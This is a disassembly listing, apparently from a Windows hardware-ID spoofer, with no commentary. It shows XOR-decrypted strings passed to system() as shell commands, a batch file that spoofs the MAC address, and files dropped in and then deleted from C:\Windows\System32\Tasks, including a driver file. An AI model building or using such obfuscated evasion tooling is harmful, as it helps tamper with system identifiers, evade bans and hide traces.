packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001ddf0
cmp r8d, 0x2d
jge 0x14001df25
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001def0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x4900]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x4920]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x4940]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x4960]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x4960]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4940]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4920]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4900]
call fcn.140022f30
nop
lea rcx, [rbp + 0x48e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x48c0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x4980]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x49a0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4bc8]
lea rcx, [rbp - 0x55]
call fcn.14001f260
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001e175
mov r8d, ebx
cmp r14d, 2
jl 0x14001e133
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001e040
cmp r8d, 0x2d
jge 0x14001e175
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001e140
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x49c0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x49e0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x4a00]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x4a20]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x4a20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4a00]
call fcn.140022f30
nop
lea rcx, [rbp + 0x49e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x49c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x49a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4980]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x4a40]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x4a60]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4bf8]
lea rcx, [rbp - 0x54]
call fcn.14001f2a0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001e3c5
mov r8d, ebx
cmp r14d, 2
jl 0x14001e383
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001e290
cmp r8d, 0x2d
jge 0x14001e3c5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001e390
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x4a80]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x4aa0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x4ac0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x4ae0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x4ae0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4ac0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4aa0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4a80]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4a60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4a40]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x4b00]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x4b20]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x51f8]
lea rcx, [rbp - 0x53]
call fcn.14001f2e0
mov r9, rax
cmp byte [rax + 0x2c], 0
je 0x14001e610
cmp r14d, 2
jl 0x14001e5ce
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x28
jl 0x14001e4e0
cmp ebx, 0x2d
jge 0x14001e610
movsxd r8, ebx
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, bl
xor byte [r8], cl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x2d
jl 0x14001e5e0
mov r8, rsi
mov rdx, r9
lea rcx, [rbp + 0x400]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x420]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x440]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x460]
call fcn.140022f30
nop
lea rcx, [rbp + 0x440]
call fcn.140022f30
nop
lea rcx, [rbp + 0x420]
call fcn.140022f30
nop
lea rcx, [rbp + 0x400]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4b20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4b00]
call fcn.140022f30
lea rdx, str._i__Spoofing_Finished__2_2__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
lea rdx, str._i__Spoofing_MAC_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
lea rcx, str.C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._i__MAC_Successfully_Spoofed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, [0x1400eb320]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._i__Spoofing_Is_Finished_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
lea rdx, str._i__Closing_Spoofer__Re_open_to_check_serials_etc_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
lea rcx, str.pause_nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Taskswinxsrcsv64.EXE
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Taskswinxsrcsv64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksiqvw64e.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksmac.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32TasksVolumeid64.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3